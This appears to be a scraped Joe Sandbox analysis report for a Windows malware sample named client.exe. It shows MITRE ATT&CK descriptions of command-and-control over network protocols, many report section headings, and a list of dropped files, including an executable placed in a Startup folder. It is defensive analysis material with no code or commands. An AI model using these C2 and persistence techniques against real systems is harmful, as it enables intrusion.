Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report client.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Programs\Startup\latest.exe

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\PIL\_imaging.pyd

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\PIL\_imagingcms.pyd

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\PIL\_webp.pyd

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_asyncio.pyd

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_brotli.pyd

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_bz2.pyd

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_cffi_backend.pyd

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_ctypes.pyd

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_decimal.pyd

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_elementtree.pyd

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_hashlib.pyd

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_lzma.pyd

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_multiprocessing.pyd

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_overlapped.pyd

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_queue.pyd

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_socket.pyd

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_sqlite3.pyd

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_ssl.pyd

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_uuid.pyd

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_wmi.pyd

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\all.exe

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\bcrypt\_bcrypt.pyd

Windows Analysis Report
client.exe